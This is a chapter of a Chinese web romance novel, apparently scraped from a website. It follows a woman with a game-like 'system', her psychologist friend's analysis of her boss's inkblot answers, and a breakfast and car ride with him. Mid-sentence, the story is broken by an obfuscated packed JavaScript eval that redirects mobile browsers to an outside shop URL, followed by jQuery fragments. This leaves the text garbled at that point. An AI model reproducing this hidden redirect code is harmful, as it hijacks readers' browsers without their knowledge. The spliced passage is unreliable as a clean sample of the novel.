19. 第十九章
    梁絮怀疑沈钊对自己超过了正常上级对下属的关心,思考良久,作弊似的打开系统,想查看沈钊对自己的好感值。

    之前的好感都被她兑换成了生命值,系统没有历史记录。只有几条零星的成就提示,沈钊好感加二,沈钊好感加五的未读消息。

    梁絮不太好判断他到底对自己是什么态度,她迟疑了一下,问系统道:“Siri老师,在吗?”

    系统说:“在,不要叫我Siri,我不是你的Siri。”

    梁絮说:“好的好的,抖S老师。我有点事情,想参考你的意见。”

    系统高冷地说:“说。”

    梁絮道:“你觉得……沈钊对我是什么想法?”

    系统沉默了良久,梁絮以为它程序崩了,想退出去重启。系统开口道:“我只是个系统,他怎么想,我怎么会知道?”

    梁絮觉得也是,换了个问法说:“已经兑换掉的好感值,还起作用吗?”

    系统说:“好感值只是在系统内转化成生命值,对方对你的感觉并不会因此受到影响,而且会逐渐积累。我看他对你的态度很积极,你可以考虑跟他谈一段恋爱。”

    梁絮愕然道:“你连这个都管?你不是监督我赚钱的吗?”

    系统说:“我只是作为朋友给你个建议。如果你需要动力的话,我可以给你发布几个刷好感的任务。”

    梁絮之前被前男友伤的太深,觉得男人都是大坑,短时间内不想再陷进去了。

    她摇头道:“不用了,谢谢。”

    梁絮关了系统,又考虑了片刻,觉得沈钊可能就是关怀下属,要不然那么多员工都是他的脑残粉呢,自己还是不要想太多的好。

    梁絮决定把注意力转移到别的地方,她最近的事情太多了,要打理店铺冲三钻、要养灰崽,还要去诊所给沈傲天挂号……她忽然想起今天是星期五,她跟方晴约好复诊的时间到了。

    下了班,梁絮去了晴安心理诊所,方晴已经在等她了。

    梁絮进屋瘫在沙发上,把录音笔扔给她,说:“这是他做墨迹测验的回答。”

    方晴把录音笔接到电脑上,备份内容,然后播放出来。

    沈钊充满磁性的声音回荡在办公室里。

    “像束腰。”

    “像皮草……挂在十字架上。”

    “像女人的生育系统,有卵巢、输卵管,和子宫。”

    “像巫婆。”

    ……

    方晴听完了,拿着钢笔在档案上唰唰做记录,写诊断分析。梁絮坐着喝茶,不打扰她。她歇一会儿,抬头思考片刻,钢笔敲了本子几下。

    梁絮道:“怎么样?他是不是病的不轻?”

    方晴反过来问她:“先说你的主观感受,你觉得他怎么样?”

    梁絮慎重地说:“其实除了衣品不好,外加有点自恋之外,我觉得他还是不错的。不过你有没有发现,他的答案当中充斥着女人的信息。”

    方晴笑了,说:“你也注意到了,他本人怎么样?很关注两性关系吗?”

    梁絮说:“这倒没有,他为人挺正经的,每天坚持锻炼,作息规律,不开黄腔,专心工作,简直好的过了头。”

    方晴说:“没有女朋友?”

    梁絮说:“没有,也没有男朋友。”

    方晴便笑了,说:“所以他过度关注女性,就是症结所在。确切地说是过度关注母亲,以及投射母亲形象的一切事物。”

    她说:“墨迹测验投射了病人的心理状态,表达的就是他所关注的要点。一般病人对女性的过度关注和高度自律的生活,来源于他童年时期的生活模式。这种情况下,这人会有一个过于严格的母亲,和一个存在感并不强的父亲。母亲的教养良好,高学历,对子女要求严苛,在生活中设定很多条框,结果可能导致子女的行为刻板、自闭、洁癖、有强迫行为;或者走另一个极端,自恋、极度需求关注,也就是说有表演型人格障碍。”

    她又说:“他在描述图画的时候,还提出了解剖学的概念,出现这种描述,说明受试者有焦虑情绪。而且他回答的速度过快,显示他处于亢奋的情绪中,确实有些异于常人了。他和他母亲的关系怎么样?”

    梁絮想了一下,说:“他说他母亲在中科院工作,是个女学霸……对了,他雇了个家政,做饭很难吃。我问他怎么不换个人,他说那个家政有洁癖,而且做饭跟他妈很像,让他有童年的感觉。”

    “这就对了。”方晴了然道,“他童年的成长环境过于苛刻,导致他生活高度自律。但这种生活方式压抑了他的天性,他想解放,又在长期打压的模式当中不敢迈出这一步,所以……”

    梁絮道:“所以在闷骚的边缘反复横跳,奇装异服,标新立异,非吸引人的注意不可。”

    方晴说:“是这样的。”

    梁絮道:“那怎么解决?”

    方晴说:“心病还须心药医,解决心理问题大体是两种方式。一个是脱敏,比如恐惧症患者,降低恐惧等级让病人接触恐惧的事物,让他习惯,最终达到脱敏的目的。再一个就是满足他的需求,比如沈傲天这个情况,就需要给他正确的疏泄渠道,让他认识到有需求没什么可耻的,不必过度压抑自己。”

    梁絮说:“他怕他妈,顺便连所有女人都怕……对,他是说过,女人真是又可爱,又可怕。原来是这个意思。”

    她脑中忽然冒出了一个念头,说:“你说,他该不会还是处男吧?”

    像他这样一个高大帅气多金的霸道总裁,居然到现在还母胎solo,说出去谁信?

    方晴没考虑过这问题,听她这么说,露出了一个微妙的表情。她跟梁絮面面相觑,笑容逐渐变态,忽然爆发出一阵大笑。方晴笑得喘不上起来,说:“不至于吧……他不是二十七了吗,怕妈怕到母胎单身至今?”

    梁絮道:“我不知道啊,他对女人真的特别客气。我原来以为他挺有绅士风度的,现在想来,可能是敬畏,真的是不敢惹女人,惹不起……他妈到底有多厉害,给他造成这么大的心理阴影?”

    她脑补了一个灭绝师太的形象,左手抱着一摞高数微积分课本,右手虚空托着个磁悬浮场,上头飘着个高铁模型忽悠悠地来回转,头上的特斯拉线圈大放光明。她身似青松,目如冷电,既充满了智慧,又冷酷无情。

    她缓缓开口,说:“儿子,今天锻炼身体了吗?做完黄冈密卷了吗?英语单词背够五十个了吗?勤洗澡穿宽松内裤,睡前做思想净化工作了吗……”

    梁絮打了个寒战,不敢再想下去了,觉得他妈要是这个样子,他在这种高压环境下长大真的挺让人同情的。

    方晴低头继续写诊断书,片刻说:“我给你开个治疗方案,你辅助着做一下。”

    梁絮凑过去看治疗书,密密麻麻的一片字,充斥着各种专有名词和英文缩写,像天书似的。她说:“这么多?”

    方晴说:“你不用管这么多,就抓住一点核心的,让他快乐,解放天性。”

    梁絮感觉气氛微妙地荡漾了起来。她抿出一个坏笑,靠在桌边撩了一下头发,摆了个搔首弄姿的动作,挑眉道:“让他快乐,解放天性?”

    方晴哈哈哈地笑了,推了她一把说:“想什么呢?正经点,治病呢!”

    “你这话就很暧昧啊。”梁絮说,“像我这么正经的人,给大佬打个工而已,怎么能把自己冰清玉洁的身体也搭上呢?”

    “谁让你投怀送抱了!”方晴正色道,“我说要帮他塑造健康的、积极乐观的生活态度,让他从精神上真正的放松。你不是说经常陪他晨跑吗,锻炼就挺好的。有空还可以多哄哄他,他也挺可怜的,从小没人疼没人爱的,要不然老想着吸引别人的注意力呢。”

    梁絮寻思着要点,重复道:“哄他开心,陪他玩,让他放松。”

    方晴道:“对,时间到,这次就这样了。有空再来复诊。”

    梁絮抬头看表,时钟冷酷无情地指到了七点整。她说:“你这钱这么好挣啊,聊一会儿就收三百。”

    方晴摆出一副冷酷无情的态度,像个淘宝客服似地说:“就是这样呢亲。因为病人不能亲自来接受诊断,这边建议您先按照医嘱对他进行辅助治疗,一个月之后根据效果再作调整呢亲亲。”

    梁絮服了她了,点头道:“行吧,反正不是花我的钱。”

    梁絮回了家,想着明天还要去跟一帮不认识的人去团建,觉得自己宝贵的休息时间被无情地侵占了。她简单吃了点饭,倒头就睡。次日她习惯性地冲到了沈钊家,这才意识到今天不用上班,直接去公司集合坐大巴就可以了。

    沈钊正在吃饭,见她忽然出现了,还觉得挺奇怪。他说:“没人通知你去公司集合吗?”

    梁絮十分窘迫,搔了搔头说:“我跑顺腿儿了。”

    沈钊哈哈大笑,仿佛觉得她愣头愣脑的傻样儿特别有趣,说:“那行吧,等会儿我捎你一起去公司。”

    梁絮想着来都来了,顺手发挥一下自己的价值也不错。她说:“今天要做造型吗?”

    沈钊对着一盘牛奶泡麦片,拿叉子拨来拨去,明显没什么兴趣的样子。他说:“不着急,那什么……”

    梁絮道:“啊?”

    沈钊似乎有点不好意思,说:“家政请假了。我不想吃麦片,你会做饭吗?”

    梁絮想着正好方晴让自己多关爱他一下,于是说:“会,就是水平一般。”

    她看了一下,找到了几个番茄和鸡蛋,冰箱里还有隔夜的米饭和火腿。她把番茄和火腿切丁,拿青尖椒和葱姜炝锅,炒蛋盛出,然后把番茄炒出汁来,把蛋放回去跟米饭一起翻炒。

    沈钊家的厨房是开放式的,他一手托腮,看梁絮来来回回地忙碌。

    她切菜,颠勺,忙的热火朝天。梁絮的胳膊纤细,力气却挺大,端着锅轻如无物,米饭在里头翻来翻去,像一簇调皮的浪花。蔬菜被刀切开的瞬间,新鲜的汁液流淌出来,轻轻地在案板上翻滚。油烟机轰轰的声音充斥着房间,鸡蛋打进热油锅里的瞬间,发出滋拉一声响,空气中散发着一股浓浓的香气。

    勺子叮叮当当地拨弄着锅,梁絮做着饭,哼着歌,系在腰上的围裙还少女心地打了个蝴蝶结。

    沈钊看着这一切,觉得这就是生活的烟火气。他一直以来的家庭太冰冷了,总让他觉得很孤独。别人常见的锅碗瓢盆碰撞的声音,煎炒烹炸的情形,对他来说却是可望而不可即的。

    梁絮给他盛出饭来,刷了锅,发现抽屉里有玉米面。顺手给他做了一锅玉米糊,里头撒了些速冻的甜玉米粒。她把饭和粥端过去,说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309962|152335||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“沈总,请用吧。”

    沈钊笑了一下,说:“谢谢你。”

    他舀了一勺米饭,吹去了上头的热气,尝了一口。

    不咸,也不像什么味道都没有的水煮菜。而是酸甜适口的好滋味,油和番茄汁均匀的裹在米饭上,夹杂着火腿丁和鸡蛋,味道朴实而温暖。他吃了几口,咀嚼的动作慢了下来。梁絮以为盐放多了,紧张地说:“怎么了?”

    沈钊笑了一下,说:“没什么,你做饭真好吃。”

    他笑的特别纯真,这么大个男人,一瞬间流露出了少年人的模样。梁絮看着他的笑容,不知怎的就想起了万里晴空的情景,觉得这个人美好起来,就像一道风景。

    片刻吃了饭,沈钊起身去洗碗。他自己洗碗是个铁打的习惯,谁也别想从他手里抢走这个活儿。

    梁絮看着他做家务的背影,觉得一个男人能挣这么多钱,还肯帮忙做家务,在现在这个直男癌横行的大环境下,简直让人感动的热泪盈眶。

    看来他妈对他的斯巴达式教育还是有效果的,不但为社会培养了一名优秀的青年企业家,也为家庭塑造了一个好丈夫和好父亲。

    ……当然以他这个轻微恐女症的性格缺陷,能不能顺利走进家庭就是另外一回事了。

    吃完早饭,梁絮给他做了个发型,把他晨跑时穿的运动服拿给了他。沈钊说:“今天可能现场拍照,给我弄的好看点。”

    梁絮有点诧异,说:“那您不让我来帮您做造型?”

    沈钊说:“你一天到晚老折腾,也够辛苦的了。反正是内部宣传嘛,不用太在意。”

    梁絮给他找了件藏蓝色的衬衫,搭配一件灰白色的夹克外套,下头是一条黑色的工装裤和一双运动鞋。布料的质地粗糙耐磨,很便于活动。他对着镜子照了照,有点抗拒,说:“太普通了吧?”

    梁絮觉得这都成了他的口头禅了,笑了笑,帮他把袖子撸过手肘,露出他好几十万的大手表和结实的手臂,又把衬衫领口解开两颗,露出他的锁骨和一点胸肌,男人的野性感顿时就扑面而来了。

    她说:“这样不就好了,身材才是重点。”

    镜子里的沈钊确实有种男模的高级感,连他也不知道自己还有这样帅气的一面。

    他笑了一下,低头看着梁絮。他向来对女人有种敬而远之的态度,虽然他把这种情绪隐藏的很好,但他心里知道,自己不知道该怎么跟女性相处。而这段时间以来,他跟梁絮接触起来,觉得她落落大方的,干练的同时又有女性特有的柔美感,并没有给他带来任何负担。

    梁絮帮他把衬衫拉平,掸掉了他肩膀上的灰尘。沈钊感受着她对自己的触碰,忽然有种温柔的感觉,有点依恋她手指尖的温度。

    梁絮发现沈钊今天特别听话,大约是自己围着他转来转去的,给了他足够的关爱,于是他就像个得到安抚的孩子一样,决定看在老母亲辛苦的份儿上不过多要求什么了。

    司机在门外等着,沈钊出了门,回头见梁絮在他身后磨磨蹭蹭的,说:“走啊。”

    梁絮有她自己的想法,她只想安安稳稳多挣点钱,并不想高调惹事。

    她看着面前的劳斯莱斯,感觉一阵压力扑面而来。她的工作本来就跟沈钊走的近,要是再不注意跟他保持距离,恐怕就要被他整个公司的迷妹恨死了。

    她迟疑道:“不了吧,我坐地铁去。”

    司机打开车门,沈钊坐了进去,大佬似地对司机说:“把她弄过来。”

    司机便大步朝她走了过去,礼貌地做了个请的姿势,说:“梁小姐,请。”

    司机有一米八多,除了开车之外,还兼任沈傲天的保镖。梁絮感觉到了跟他之间强大的体格差异,没办法拒绝这个充满压迫力的要求,只好不情愿地上了车,坐在了副驾驶上。

    车里弥漫着优雅的淡香,开得很平稳。梁絮坐在高档真皮座椅上,一动也不敢动。她透过后视镜见沈钊坐在后座上,靠在椅背上,正在闭目养神。他的皮肤是健康的小麦色,脖颈的线条很好看,往下延伸入领口,肌肉和骨骼的起伏隐没在衣服的阴影中。

    梁絮忽然想起了之前撞见他出浴的情形,富有冲击力的画面仿佛尤在眼前。她的脸渐渐烫了起来,生怕自己糟糕的脑电波被他解码出来,强行稳住心神,低头默念了一段心经。

    “舍利子,色不异空,空不异色……色即是空,沈钊也是空,妈妈说了越好看的男人越会骗人,不对我背到哪儿了……”

    早晨九点钟,员工们聚集在大巴前,开始陆续上车。

    沈钊的轿车开到公司门前,司机停下来打开车门,沈钊迈步下了车。众人见了他,纷纷道:“沈总好!”

    沈钊笑了一下,说:“你们好。”

    他说着回头,对龟缩在车里的梁絮说:“下来。”

    梁絮没想到人已经齐了,在众目睽睽之下从沈钊的车里走出去,对她来说无异于当众挂墙头。她从来没遇到过这样的窘境,手心里全是冷汗,满脑子都在想怎么办谁来救我,有奇迹发生吗?

    奇迹并没有眷顾她,反而是沈钊看她没动,伸手把车门打开了。梁絮瞬间暴露在所有人的目光下,整个人的心态都崩了。

    沈钊淡定地催促道:“坐着干什么,下来啊。”

    梁絮:“……”